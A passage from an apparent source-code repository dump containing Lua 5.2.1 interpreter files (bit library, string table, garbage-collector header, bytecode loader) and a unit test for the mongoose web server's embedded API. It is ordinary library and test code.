luaL_checkint(L, 2)); 105 | } 106 | 107 | 108 | static int b_rshift (lua_State *L) { 109 | return b_shift(L, luaL_checkunsigned(L, 1), -luaL_checkint(L, 2)); 110 | } 111 | 112 | 113 | static int b_arshift (lua_State *L) { 114 | b_uint r = luaL_checkunsigned(L, 1); 115 | int i = luaL_checkint(L, 2); 116 | if (i < 0 || !(r & ((b_uint)1 << (LUA_NBITS - 1)))) 117 | return b_shift(L, r, -i); 118 | else { /* arithmetic shift for 'negative' number */ 119 | if (i >= LUA_NBITS) r = ALLONES; 120 | else 121 | r = trim((r >> i) | ~(~(b_uint)0 >> i)); /* add signal bit */ 122 | lua_pushunsigned(L, r); 123 | return 1; 124 | } 125 | } 126 | 127 | 128 | static int b_rot (lua_State *L, int i) { 129 | b_uint r = luaL_checkunsigned(L, 1); 130 | i &= (LUA_NBITS - 1); /* i = i % NBITS */ 131 | r = trim(r); 132 | r = (r << i) | (r >> (LUA_NBITS - i)); 133 | lua_pushunsigned(L, trim(r)); 134 | return 1; 135 | } 136 | 137 | 138 | static int b_lrot (lua_State *L) { 139 | return b_rot(L, luaL_checkint(L, 2)); 140 | } 141 | 142 | 143 | static int b_rrot (lua_State *L) { 144 | return b_rot(L, -luaL_checkint(L, 2)); 145 | } 146 | 147 | 148 | /* 149 | ** get field and width arguments for field-manipulation functions, 150 | ** checking whether they are valid 151 | */ 152 | static int fieldargs (lua_State *L, int farg, int *width) { 153 | int f = luaL_checkint(L, farg); 154 | int w = luaL_optint(L, farg + 1, 1); 155 | luaL_argcheck(L, 0 <= f, farg, "field cannot be negative"); 156 | luaL_argcheck(L, 0 < w, farg + 1, "width must be positive"); 157 | if (f + w > LUA_NBITS) 158 | luaL_error(L, "trying to access non-existent bits"); 159 | *width = w; 160 | return f; 161 | } 162 | 163 | 164 | static int b_extract (lua_State *L) { 165 | int w; 166 | b_uint r = luaL_checkunsigned(L, 1); 167 | int f = fieldargs(L, 2, &w); 168 | r = (r >> f) & mask(w); 169 | lua_pushunsigned(L, r); 170 | return 1; 171 | } 172 | 173 | 174 | static int b_replace (lua_State *L) { 175 | int w; 176 | b_uint r = luaL_checkunsigned(L, 1); 177 | b_uint v = luaL_checkunsigned(L, 2); 178 | int f = fieldargs(L, 3, &w); 179 | int m = mask(w); 180 | v &= m; /* erase bits outside given width */ 181 | r = (r & ~(m << f)) | (v << f); 182 | lua_pushunsigned(L, r); 183 | return 1; 184 | } 185 | 186 | 187 | static const luaL_Reg bitlib[] = { 188 | {"arshift", b_arshift}, 189 | {"band", b_and}, 190 | {"bnot", b_not}, 191 | {"bor", b_or}, 192 | {"bxor", b_xor}, 193 | {"btest", b_test}, 194 | {"extract", b_extract}, 195 | {"lrotate", b_lrot}, 196 | {"lshift", b_lshift}, 197 | {"replace", b_replace}, 198 | {"rrotate", b_rrot}, 199 | {"rshift", b_rshift}, 200 | {NULL, NULL} 201 | }; 202 | 203 | 204 | 205 | LUAMOD_API int luaopen_bit32 (lua_State *L) { 206 | luaL_newlib(L, bitlib); 207 | return 1; 208 | } 209 | 210 | -------------------------------------------------------------------------------- /lua-5.2.1/src/lstring.c: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: lstring.c,v 2.24 2012/05/11 14:14:42 roberto Exp $ 3 | ** String table (keeps all strings handled by Lua) 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | 8 | #include 9 | 10 | #define lstring_c 11 | #define LUA_CORE 12 | 13 | #include "lua.h" 14 | 15 | #include "lmem.h" 16 | #include "lobject.h" 17 | #include "lstate.h" 18 | #include "lstring.h" 19 | 20 | 21 | /* 22 | ** Lua will use at most ~(2^LUAI_HASHLIMIT) bytes from a string to 23 | ** compute its hash 24 | */ 25 | #if !defined(LUAI_HASHLIMIT) 26 | #define LUAI_HASHLIMIT 5 27 | #endif 28 | 29 | 30 | /* 31 | ** equality for long strings 32 | */ 33 | int luaS_eqlngstr (TString *a, TString *b) { 34 | size_t len = a->tsv.len; 35 | lua_assert(a->tsv.tt == LUA_TLNGSTR && b->tsv.tt == LUA_TLNGSTR); 36 | return (a == b) || /* same instance or... */ 37 | ((len == b->tsv.len) && /* equal length and ... */ 38 | (memcmp(getstr(a), getstr(b), len) == 0)); /* equal contents */ 39 | } 40 | 41 | 42 | /* 43 | ** equality for strings 44 | */ 45 | int luaS_eqstr (TString *a, TString *b) { 46 | return (a->tsv.tt == b->tsv.tt) && 47 | (a->tsv.tt == LUA_TSHRSTR ? eqshrstr(a, b) : luaS_eqlngstr(a, b)); 48 | } 49 | 50 | 51 | unsigned int luaS_hash (const char *str, size_t l, unsigned int seed) { 52 | unsigned int h = seed ^ l; 53 | size_t l1; 54 | size_t step = (l >> LUAI_HASHLIMIT) + 1; 55 | for (l1 = l; l1 >= step; l1 -= step) 56 | h = h ^ ((h<<5) + (h>>2) + cast_byte(str[l1 - 1])); 57 | return h; 58 | } 59 | 60 | 61 | /* 62 | ** resizes the string table 63 | */ 64 | void luaS_resize (lua_State *L, int newsize) { 65 | int i; 66 | stringtable *tb = &G(L)->strt; 67 | /* cannot resize while GC is traversing strings */ 68 | luaC_runtilstate(L, ~bitmask(GCSsweepstring)); 69 | if (newsize > tb->size) { 70 | luaM_reallocvector(L, tb->hash, tb->size, newsize, GCObject *); 71 | for (i = tb->size; i < newsize; i++) tb->hash[i] = NULL; 72 | } 73 | /* rehash */ 74 | for (i=0; isize; i++) { 75 | GCObject *p = tb->hash[i]; 76 | tb->hash[i] = NULL; 77 | while (p) { /* for each node in the list */ 78 | GCObject *next = gch(p)->next; /* save next */ 79 | unsigned int h = lmod(gco2ts(p)->hash, newsize); /* new position */ 80 | gch(p)->next = tb->hash[h]; /* chain it */ 81 | tb->hash[h] = p; 82 | resetoldbit(p); /* see MOVE OLD rule */ 83 | p = next; 84 | } 85 | } 86 | if (newsize < tb->size) { 87 | /* shrinking slice must be empty */ 88 | lua_assert(tb->hash[newsize] == NULL && tb->hash[tb->size - 1] == NULL); 89 | luaM_reallocvector(L, tb->hash, tb->size, newsize, GCObject *); 90 | } 91 | tb->size = newsize; 92 | } 93 | 94 | 95 | /* 96 | ** creates a new string object 97 | */ 98 | static TString *createstrobj (lua_State *L, const char *str, size_t l, 99 | int tag, unsigned int h, GCObject **list) { 100 | TString *ts; 101 | size_t totalsize; /* total size of TString object */ 102 | totalsize = sizeof(TString) + ((l + 1) * sizeof(char)); 103 | ts = &luaC_newobj(L, tag, totalsize, list, 0)->ts; 104 | ts->tsv.len = l; 105 | ts->tsv.hash = h; 106 | ts->tsv.extra = 0; 107 | memcpy(ts+1, str, l*sizeof(char)); 108 | ((char *)(ts+1))[l] = '\0'; /* ending 0 */ 109 | return ts; 110 | } 111 | 112 | 113 | /* 114 | ** creates a new short string, inserting it into string table 115 | */ 116 | static TString *newshrstr (lua_State *L, const char *str, size_t l, 117 | unsigned int h) { 118 | GCObject **list; /* (pointer to) list where it will be inserted */ 119 | stringtable *tb = &G(L)->strt; 120 | TString *s; 121 | if (tb->nuse >= cast(lu_int32, tb->size) && tb->size <= MAX_INT/2) 122 | luaS_resize(L, tb->size*2); /* too crowded */ 123 | list = &tb->hash[lmod(h, tb->size)]; 124 | s = createstrobj(L, str, l, LUA_TSHRSTR, h, list); 125 | tb->nuse++; 126 | return s; 127 | } 128 | 129 | 130 | /* 131 | ** checks whether short string exists and reuses it or creates a new one 132 | */ 133 | static TString *internshrstr (lua_State *L, const char *str, size_t l) { 134 | GCObject *o; 135 | global_State *g = G(L); 136 | unsigned int h = luaS_hash(str, l, g->seed); 137 | for (o = g->strt.hash[lmod(h, g->strt.size)]; 138 | o != NULL; 139 | o = gch(o)->next) { 140 | TString *ts = rawgco2ts(o); 141 | if (h == ts->tsv.hash && 142 | ts->tsv.len == l && 143 | (memcmp(str, getstr(ts), l * sizeof(char)) == 0)) { 144 | if (isdead(G(L), o)) /* string is dead (but was not collected yet)? */ 145 | changewhite(o); /* resurrect it */ 146 | return ts; 147 | } 148 | } 149 | return newshrstr(L, str, l, h); /* not found; create a new string */ 150 | } 151 | 152 | 153 | /* 154 | ** new string (with explicit length) 155 | */ 156 | TString *luaS_newlstr (lua_State *L, const char *str, size_t l) { 157 | if (l <= LUAI_MAXSHORTLEN) /* short string? */ 158 | return internshrstr(L, str, l); 159 | else { 160 | if (l + 1 > (MAX_SIZET - sizeof(TString))/sizeof(char)) 161 | luaM_toobig(L); 162 | return createstrobj(L, str, l, LUA_TLNGSTR, G(L)->seed, NULL); 163 | } 164 | } 165 | 166 | 167 | /* 168 | ** new zero-terminated string 169 | */ 170 | TString *luaS_new (lua_State *L, const char *str) { 171 | return luaS_newlstr(L, str, strlen(str)); 172 | } 173 | 174 | 175 | Udata *luaS_newudata (lua_State *L, size_t s, Table *e) { 176 | Udata *u; 177 | if (s > MAX_SIZET - sizeof(Udata)) 178 | luaM_toobig(L); 179 | u = &luaC_newobj(L, LUA_TUSERDATA, sizeof(Udata) + s, NULL, 0)->u; 180 | u->uv.len = s; 181 | u->uv.metatable = NULL; 182 | u->uv.env = e; 183 | return u; 184 | } 185 | 186 | -------------------------------------------------------------------------------- /lua-5.2.1/src/lgc.h: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: lgc.h,v 2.56 2012/05/23 15:43:14 roberto Exp $ 3 | ** Garbage Collector 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | #ifndef lgc_h 8 | #define lgc_h 9 | 10 | 11 | #include "lobject.h" 12 | #include "lstate.h" 13 | 14 | /* 15 | ** Collectable objects may have one of three colors: white, which 16 | ** means the object is not marked; gray, which means the 17 | ** object is marked, but its references may be not marked; and 18 | ** black, which means that the object and all its references are marked. 19 | ** The main invariant of the garbage collector, while marking objects, 20 | ** is that a black object can never point to a white one. Moreover, 21 | ** any gray object must be in a "gray list" (gray, grayagain, weak, 22 | ** allweak, ephemeron) so that it can be visited again before finishing 23 | ** the collection cycle. These lists have no meaning when the invariant 24 | ** is not being enforced (e.g., sweep phase). 25 | */ 26 | 27 | 28 | 29 | /* how much to allocate before next GC step */ 30 | #if !defined(GCSTEPSIZE) 31 | /* ~100 small strings */ 32 | #define GCSTEPSIZE (cast_int(100 * sizeof(TString))) 33 | #endif 34 | 35 | 36 | /* 37 | ** Possible states of the Garbage Collector 38 | */ 39 | #define GCSpropagate 0 40 | #define GCSatomic 1 41 | #define GCSsweepstring 2 42 | #define GCSsweepudata 3 43 | #define GCSsweep 4 44 | #define GCSpause 5 45 | 46 | 47 | #define issweepphase(g) \ 48 | (GCSsweepstring <= (g)->gcstate && (g)->gcstate <= GCSsweep) 49 | 50 | #define isgenerational(g) ((g)->gckind == KGC_GEN) 51 | 52 | /* 53 | ** macro to tell when main invariant (white objects cannot point to black 54 | ** ones) must be kept. During a non-generational collection, the sweep 55 | ** phase may break the invariant, as objects turned white may point to 56 | ** still-black objects. The invariant is restored when sweep ends and 57 | ** all objects are white again. During a generational collection, the 58 | ** invariant must be kept all times. 59 | */ 60 | #define keepinvariant(g) (isgenerational(g) || g->gcstate <= GCSatomic) 61 | 62 | 63 | /* 64 | ** some useful bit tricks 65 | */ 66 | #define resetbits(x,m) ((x) &= cast(lu_byte, ~(m))) 67 | #define setbits(x,m) ((x) |= (m)) 68 | #define testbits(x,m) ((x) & (m)) 69 | #define bitmask(b) (1<<(b)) 70 | #define bit2mask(b1,b2) (bitmask(b1) | bitmask(b2)) 71 | #define l_setbit(x,b) setbits(x, bitmask(b)) 72 | #define resetbit(x,b) resetbits(x, bitmask(b)) 73 | #define testbit(x,b) testbits(x, bitmask(b)) 74 | 75 | 76 | /* Layout for bit use in `marked' field: */ 77 | #define WHITE0BIT 0 /* object is white (type 0) */ 78 | #define WHITE1BIT 1 /* object is white (type 1) */ 79 | #define BLACKBIT 2 /* object is black */ 80 | #define FINALIZEDBIT 3 /* object has been separated for finalization */ 81 | #define SEPARATED 4 /* object is in 'finobj' list or in 'tobefnz' */ 82 | #define FIXEDBIT 5 /* object is fixed (should not be collected) */ 83 | #define OLDBIT 6 /* object is old (only in generational mode) */ 84 | /* bit 7 is currently used by tests (luaL_checkmemory) */ 85 | 86 | #define WHITEBITS bit2mask(WHITE0BIT, WHITE1BIT) 87 | 88 | 89 | #define iswhite(x) testbits((x)->gch.marked, WHITEBITS) 90 | #define isblack(x) testbit((x)->gch.marked, BLACKBIT) 91 | #define isgray(x) /* neither white nor black */ \ 92 | (!testbits((x)->gch.marked, WHITEBITS | bitmask(BLACKBIT))) 93 | 94 | #define isold(x) testbit((x)->gch.marked, OLDBIT) 95 | 96 | /* MOVE OLD rule: whenever an object is moved to the beginning of 97 | a GC list, its old bit must be cleared */ 98 | #define resetoldbit(o) resetbit((o)->gch.marked, OLDBIT) 99 | 100 | #define otherwhite(g) (g->currentwhite ^ WHITEBITS) 101 | #define isdeadm(ow,m) (!(((m) ^ WHITEBITS) & (ow))) 102 | #define isdead(g,v) isdeadm(otherwhite(g), (v)->gch.marked) 103 | 104 | #define changewhite(x) ((x)->gch.marked ^= WHITEBITS) 105 | #define gray2black(x) l_setbit((x)->gch.marked, BLACKBIT) 106 | 107 | #define valiswhite(x) (iscollectable(x) && iswhite(gcvalue(x))) 108 | 109 | #define luaC_white(g) cast(lu_byte, (g)->currentwhite & WHITEBITS) 110 | 111 | 112 | #define luaC_condGC(L,c) \ 113 | {if (G(L)->GCdebt > 0) {c;}; condchangemem(L);} 114 | #define luaC_checkGC(L) luaC_condGC(L, luaC_step(L);) 115 | 116 | 117 | #define luaC_barrier(L,p,v) { if (valiswhite(v) && isblack(obj2gco(p))) \ 118 | luaC_barrier_(L,obj2gco(p),gcvalue(v)); } 119 | 120 | #define luaC_barrierback(L,p,v) { if (valiswhite(v) && isblack(obj2gco(p))) \ 121 | luaC_barrierback_(L,p); } 122 | 123 | #define luaC_objbarrier(L,p,o) \ 124 | { if (iswhite(obj2gco(o)) && isblack(obj2gco(p))) \ 125 | luaC_barrier_(L,obj2gco(p),obj2gco(o)); } 126 | 127 | #define luaC_objbarrierback(L,p,o) \ 128 | { if (iswhite(obj2gco(o)) && isblack(obj2gco(p))) luaC_barrierback_(L,p); } 129 | 130 | #define luaC_barrierproto(L,p,c) \ 131 | { if (isblack(obj2gco(p))) luaC_barrierproto_(L,p,c); } 132 | 133 | LUAI_FUNC void luaC_freeallobjects (lua_State *L); 134 | LUAI_FUNC void luaC_step (lua_State *L); 135 | LUAI_FUNC void luaC_forcestep (lua_State *L); 136 | LUAI_FUNC void luaC_runtilstate (lua_State *L, int statesmask); 137 | LUAI_FUNC void luaC_fullgc (lua_State *L, int isemergency); 138 | LUAI_FUNC GCObject *luaC_newobj (lua_State *L, int tt, size_t sz, 139 | GCObject **list, int offset); 140 | LUAI_FUNC void luaC_barrier_ (lua_State *L, GCObject *o, GCObject *v); 141 | LUAI_FUNC void luaC_barrierback_ (lua_State *L, GCObject *o); 142 | LUAI_FUNC void luaC_barrierproto_ (lua_State *L, Proto *p, Closure *c); 143 | LUAI_FUNC void luaC_checkfinalizer (lua_State *L, GCObject *o, Table *mt); 144 | LUAI_FUNC void luaC_checkupvalcolor (global_State *g, UpVal *uv); 145 | LUAI_FUNC void luaC_changemode (lua_State *L, int mode); 146 | 147 | #endif 148 | -------------------------------------------------------------------------------- /test/embed.c: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2004-2009 Sergey Lyubka 2 | // 3 | // Permission is hereby granted, free of charge, to any person obtaining a copy 4 | // of this software and associated documentation files (the "Software"), to deal 5 | // in the Software without restriction, including without limitation the rights 6 | // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | // copies of the Software, and to permit persons to whom the Software is 8 | // furnished to do so, subject to the following conditions: 9 | // 10 | // The above copyright notice and this permission notice shall be included in 11 | // all copies or substantial portions of the Software. 12 | // 13 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 19 | // THE SOFTWARE. 20 | // 21 | // Unit test for the mongoose web server. Tests embedded API. 22 | 23 | 24 | #include 25 | #include 26 | #include 27 | #ifndef _WIN32 28 | #include 29 | #endif 30 | 31 | #include "mongoose.h" 32 | 33 | #if !defined(LISTENING_PORT) 34 | #define LISTENING_PORT "23456" 35 | #endif 36 | 37 | static const char *standard_reply = "HTTP/1.1 200 OK\r\n" 38 | "Content-Type: text/plain\r\n" 39 | "Connection: close\r\n\r\n"; 40 | 41 | static void test_get_var(struct mg_connection *conn, 42 | const struct mg_request_info *ri) { 43 | char *var, *buf; 44 | size_t buf_len; 45 | const char *cl; 46 | int var_len; 47 | 48 | mg_printf(conn, "%s", standard_reply); 49 | 50 | buf_len = 0; 51 | var = buf = NULL; 52 | cl = mg_get_header(conn, "Content-Length"); 53 | mg_printf(conn, "cl: %p\n", cl); 54 | if ((!strcmp(ri->request_method, "POST") || 55 | !strcmp(ri->request_method, "PUT")) 56 | && cl != NULL) { 57 | buf_len = atoi(cl); 58 | buf = malloc(buf_len); 59 | /* Read in two pieces, to test continuation */ 60 | if (buf_len > 2) { 61 | mg_read(conn, buf, 2); 62 | mg_read(conn, buf + 2, buf_len - 2); 63 | } else { 64 | mg_read(conn, buf, buf_len); 65 | } 66 | } else if (ri->query_string != NULL) { 67 | buf_len = strlen(ri->query_string); 68 | buf = malloc(buf_len + 1); 69 | strcpy(buf, ri->query_string); 70 | } 71 | var = malloc(buf_len + 1); 72 | var_len = mg_get_var(buf, buf_len, "my_var", var, buf_len + 1); 73 | mg_printf(conn, "Value: [%s]\n", var); 74 | mg_printf(conn, "Value size: [%d]\n", var_len); 75 | free(buf); 76 | free(var); 77 | } 78 | 79 | static void test_get_header(struct mg_connection *conn, 80 | const struct mg_request_info *ri) { 81 | const char *value; 82 | int i; 83 | 84 | mg_printf(conn, "%s", standard_reply); 85 | printf("HTTP headers: %d\n", ri->num_headers); 86 | for (i = 0; i < ri->num_headers; i++) { 87 | printf("[%s]: [%s]\n", ri->http_headers[i].name, ri->http_headers[i].value); 88 | } 89 | 90 | value = mg_get_header(conn, "Host"); 91 | if (value != NULL) { 92 | mg_printf(conn, "Value: [%s]", value); 93 | } 94 | } 95 | 96 | static void test_get_request_info(struct mg_connection *conn, 97 | const struct mg_request_info *ri) { 98 | int i; 99 | 100 | mg_printf(conn, "%s", standard_reply); 101 | 102 | mg_printf(conn, "Method: [%s]\n", ri->request_method); 103 | mg_printf(conn, "URI: [%s]\n", ri->uri); 104 | mg_printf(conn, "HTTP version: [%s]\n", ri->http_version); 105 | 106 | for (i = 0; i < ri->num_headers; i++) { 107 | mg_printf(conn, "HTTP header [%s]: [%s]\n", 108 | ri->http_headers[i].name, 109 | ri->http_headers[i].value); 110 | } 111 | 112 | mg_printf(conn, "Query string: [%s]\n", 113 | ri->query_string ? ri->query_string: ""); 114 | mg_printf(conn, "Remote IP: [%lu]\n", ri->remote_ip); 115 | mg_printf(conn, "Remote port: [%d]\n", ri->remote_port); 116 | mg_printf(conn, "Remote user: [%s]\n", 117 | ri->remote_user ? ri->remote_user : ""); 118 | } 119 | 120 | static void test_error(struct mg_connection *conn, 121 | const struct mg_request_info *ri) { 122 | int status = (int) ri->ev_data; 123 | mg_printf(conn, "HTTP/1.1 %d XX\r\n" 124 | "Conntection: close\r\n\r\n", status); 125 | mg_printf(conn, "Error: [%d]", status); 126 | } 127 | 128 | static void test_post(struct mg_connection *conn, 129 | const struct mg_request_info *ri) { 130 | const char *cl; 131 | char *buf; 132 | int len; 133 | 134 | mg_printf(conn, "%s", standard_reply); 135 | if (strcmp(ri->request_method, "POST") == 0 && 136 | (cl = mg_get_header(conn, "Content-Length")) != NULL) { 137 | len = atoi(cl); 138 | if ((buf = malloc(len)) != NULL) { 139 | mg_write(conn, buf, len); 140 | free(buf); 141 | } 142 | } 143 | } 144 | 145 | static const struct test_config { 146 | enum mg_event event; 147 | const char *uri; 148 | void (*func)(struct mg_connection *, const struct mg_request_info *); 149 | } test_config[] = { 150 | {MG_NEW_REQUEST, "/test_get_header", &test_get_header}, 151 | {MG_NEW_REQUEST, "/test_get_var", &test_get_var}, 152 | {MG_NEW_REQUEST, "/test_get_request_info", &test_get_request_info}, 153 | {MG_NEW_REQUEST, "/test_post", &test_post}, 154 | {MG_HTTP_ERROR, "", &test_error}, 155 | {0, NULL, NULL} 156 | }; 157 | 158 | static void *callback(enum mg_event event, 159 | struct mg_connection *conn) { 160 | const struct mg_request_info *request_info = mg_get_request_info(conn); 161 | int i; 162 | 163 | for (i = 0; test_config[i].uri != NULL; i++) { 164 | if (event == test_config[i].event && 165 | (event == MG_HTTP_ERROR || 166 | !strcmp(request_info->uri, test_config[i].uri))) { 167 | test_config[i].func(conn, request_info); 168 | return "processed"; 169 | } 170 | } 171 | 172 | return NULL; 173 | } 174 | 175 | int main(void) { 176 | struct mg_context *ctx; 177 | const char *options[] = {"listening_ports", LISTENING_PORT, NULL}; 178 | 179 | ctx = mg_start(callback, NULL, options); 180 | pause(); 181 | return 0; 182 | } 183 | -------------------------------------------------------------------------------- /lua-5.2.1/src/lundump.c: -------------------------------------------------------------------------------- 1 | /* 2 | ** $Id: lundump.c,v 2.22 2012/05/08 13:53:33 roberto Exp $ 3 | ** load precompiled Lua chunks 4 | ** See Copyright Notice in lua.h 5 | */ 6 | 7 | #include 8 | 9 | #define lundump_c 10 | #define LUA_CORE 11 | 12 | #include "lua.h" 13 | 14 | #include "ldebug.h" 15 | #include "ldo.h" 16 | #include "lfunc.h" 17 | #include "lmem.h" 18 | #include "lobject.h" 19 | #include "lstring.h" 20 | #include "lundump.h" 21 | #include "lzio.h" 22 | 23 | typedef struct { 24 | lua_State* L; 25 | ZIO* Z; 26 | Mbuffer* b; 27 | const char* name; 28 | } LoadState; 29 | 30 | static l_noret error(LoadState* S, const char* why) 31 | { 32 | luaO_pushfstring(S->L,"%s: %s precompiled chunk",S->name,why); 33 | luaD_throw(S->L,LUA_ERRSYNTAX); 34 | } 35 | 36 | #define LoadMem(S,b,n,size) LoadBlock(S,b,(n)*(size)) 37 | #define LoadByte(S) (lu_byte)LoadChar(S) 38 | #define LoadVar(S,x) LoadMem(S,&x,1,sizeof(x)) 39 | #define LoadVector(S,b,n,size) LoadMem(S,b,n,size) 40 | 41 | #if !defined(luai_verifycode) 42 | #define luai_verifycode(L,b,f) /* empty */ 43 | #endif 44 | 45 | static void LoadBlock(LoadState* S, void* b, size_t size) 46 | { 47 | if (luaZ_read(S->Z,b,size)!=0) error(S,"truncated"); 48 | } 49 | 50 | static int LoadChar(LoadState* S) 51 | { 52 | char x; 53 | LoadVar(S,x); 54 | return x; 55 | } 56 | 57 | static int LoadInt(LoadState* S) 58 | { 59 | int x; 60 | LoadVar(S,x); 61 | if (x<0) error(S,"corrupted"); 62 | return x; 63 | } 64 | 65 | static lua_Number LoadNumber(LoadState* S) 66 | { 67 | lua_Number x; 68 | LoadVar(S,x); 69 | return x; 70 | } 71 | 72 | static TString* LoadString(LoadState* S) 73 | { 74 | size_t size; 75 | LoadVar(S,size); 76 | if (size==0) 77 | return NULL; 78 | else 79 | { 80 | char* s=luaZ_openspace(S->L,S->b,size); 81 | LoadBlock(S,s,size*sizeof(char)); 82 | return luaS_newlstr(S->L,s,size-1); /* remove trailing '\0' */ 83 | } 84 | } 85 | 86 | static void LoadCode(LoadState* S, Proto* f) 87 | { 88 | int n=LoadInt(S); 89 | f->code=luaM_newvector(S->L,n,Instruction); 90 | f->sizecode=n; 91 | LoadVector(S,f->code,n,sizeof(Instruction)); 92 | } 93 | 94 | static void LoadFunction(LoadState* S, Proto* f); 95 | 96 | static void LoadConstants(LoadState* S, Proto* f) 97 | { 98 | int i,n; 99 | n=LoadInt(S); 100 | f->k=luaM_newvector(S->L,n,TValue); 101 | f->sizek=n; 102 | for (i=0; ik[i]); 103 | for (i=0; ik[i]; 106 | int t=LoadChar(S); 107 | switch (t) 108 | { 109 | case LUA_TNIL: 110 | setnilvalue(o); 111 | break; 112 | case LUA_TBOOLEAN: 113 | setbvalue(o,LoadChar(S)); 114 | break; 115 | case LUA_TNUMBER: 116 | setnvalue(o,LoadNumber(S)); 117 | break; 118 | case LUA_TSTRING: 119 | setsvalue2n(S->L,o,LoadString(S)); 120 | break; 121 | default: lua_assert(0); 122 | } 123 | } 124 | n=LoadInt(S); 125 | f->p=luaM_newvector(S->L,n,Proto*); 126 | f->sizep=n; 127 | for (i=0; ip[i]=NULL; 128 | for (i=0; ip[i]=luaF_newproto(S->L); 131 | LoadFunction(S,f->p[i]); 132 | } 133 | } 134 | 135 | static void LoadUpvalues(LoadState* S, Proto* f) 136 | { 137 | int i,n; 138 | n=LoadInt(S); 139 | f->upvalues=luaM_newvector(S->L,n,Upvaldesc); 140 | f->sizeupvalues=n; 141 | for (i=0; iupvalues[i].name=NULL; 142 | for (i=0; iupvalues[i].instack=LoadByte(S); 145 | f->upvalues[i].idx=LoadByte(S); 146 | } 147 | } 148 | 149 | static void LoadDebug(LoadState* S, Proto* f) 150 | { 151 | int i,n; 152 | f->source=LoadString(S); 153 | n=LoadInt(S); 154 | f->lineinfo=luaM_newvector(S->L,n,int); 155 | f->sizelineinfo=n; 156 | LoadVector(S,f->lineinfo,n,sizeof(int)); 157 | n=LoadInt(S); 158 | f->locvars=luaM_newvector(S->L,n,LocVar); 159 | f->sizelocvars=n; 160 | for (i=0; ilocvars[i].varname=NULL; 161 | for (i=0; ilocvars[i].varname=LoadString(S); 164 | f->locvars[i].startpc=LoadInt(S); 165 | f->locvars[i].endpc=LoadInt(S); 166 | } 167 | n=LoadInt(S); 168 | for (i=0; iupvalues[i].name=LoadString(S); 169 | } 170 | 171 | static void LoadFunction(LoadState* S, Proto* f) 172 | { 173 | f->linedefined=LoadInt(S); 174 | f->lastlinedefined=LoadInt(S); 175 | f->numparams=LoadByte(S); 176 | f->is_vararg=LoadByte(S); 177 | f->maxstacksize=LoadByte(S); 178 | LoadCode(S,f); 179 | LoadConstants(S,f); 180 | LoadUpvalues(S,f); 181 | LoadDebug(S,f); 182 | } 183 | 184 | /* the code below must be consistent with the code in luaU_header */ 185 | #define N0 LUAC_HEADERSIZE 186 | #define N1 (sizeof(LUA_SIGNATURE)-sizeof(char)) 187 | #define N2 N1+2 188 | #define N3 N2+6 189 | 190 | static void LoadHeader(LoadState* S) 191 | { 192 | lu_byte h[LUAC_HEADERSIZE]; 193 | lu_byte s[LUAC_HEADERSIZE]; 194 | luaU_header(h); 195 | memcpy(s,h,sizeof(char)); /* first char already read */ 196 | LoadBlock(S,s+sizeof(char),LUAC_HEADERSIZE-sizeof(char)); 197 | if (memcmp(h,s,N0)==0) return; 198 | if (memcmp(h,s,N1)!=0) error(S,"not a"); 199 | if (memcmp(h,s,N2)!=0) error(S,"version mismatch in"); 200 | if (memcmp(h,s,N3)!=0) error(S,"incompatible"); else error(S,"corrupted"); 201 | } 202 | 203 | /* 204 | ** load precompiled chunk 205 | */ 206 | Closure* luaU_undump (lua_State* L, ZIO* Z, Mbuffer* buff, const char* name) 207 | { 208 | LoadState S; 209 | Closure* cl; 210 | if (*name=='@' || *name=='=') 211 | S.name=name+1; 212 | else if (*name==LUA_SIGNATURE[0]) 213 | S.name="binary string"; 214 | else 215 | S.name=name; 216 | S.L=L; 217 | S.Z=Z; 218 | S.b=buff; 219 | LoadHeader(&S); 220 | cl=luaF_newLclosure(L,1); 221 | setclLvalue(L,L->top,cl); incr_top(L); 222 | cl->l.p=luaF_newproto(L); 223 | LoadFunction(&S,cl->l.p); 224 | if (cl->l.p->sizeupvalues != 1) 225 | { 226 | Proto* p=cl->l.p; 227 | cl=luaF_newLclosure(L,cl->l.p->sizeupvalues); 228 | cl->l.p=p; 229 | setclLvalue(L,L->top-1,cl); 230 | } 231 | luai_verifycode(L,buff,cl->l.p); 232 | return cl; 233 | } 234 | 235 | #define MYINT(s) (s[0]-'0') 236 | #define VERSION MYINT(LUA_VERSION_MAJOR)*16+MYINT(LUA_VERSION_MINOR) 237 | #define FORMAT 0 /* this is the official format */ 238 | 239 | /* 240 | * make header for precompiled chunks 241 | * if you change the code below be sure to update LoadHeader and FORMAT above 242 | * and LUAC_HEADERSIZE in lundump.h 243 | */ 244 | void luaU_header (lu_byte* h) 245 | { 246 | int x=1; 247 | memcpy(h,LUA_SIGNATURE,sizeof(LUA_SIGNATURE)-sizeof(char)); 248 | h+=sizeof(LUA_SIGNATURE)-sizeof(char); 249 | *h++=cast_byte(VERSION); 250 | *h++=cast_byte(FORMAT); 251 | *h++=cast_byte(*(char*)&x); /* endianness */ 252 | *h++=cast_byte(sizeof(int)); 253 | *h++=cast_byte(sizeof(size_t)); 254 | *h++=cast_byte(sizeof(Instruction)); 255 | *h++=cast_byte(sizeof(lua_Number)); 256 | *h++=cast_byte(((lua_Number)0.5)==0); /* is lua_Number integral? */ 257 | memcpy(h,LUAC_TAIL,sizeof(LUAC_TAIL)-sizeof(char)); 258 | } 259 | -------------------------------------------------------------------------------- /lua-5.2.1/src/Makefile: -------------------------------------------------------------------------------- 1 | # Makefile for building Lua 2 | # See ../doc/readme.html for installation and customization instructions. 3 | 4 | # == CHANGE THE SETTINGS BELOW TO SUIT YOUR ENVIRONMENT ======================= 5 | 6 | # Your platform. See PLATS for possible values. 7 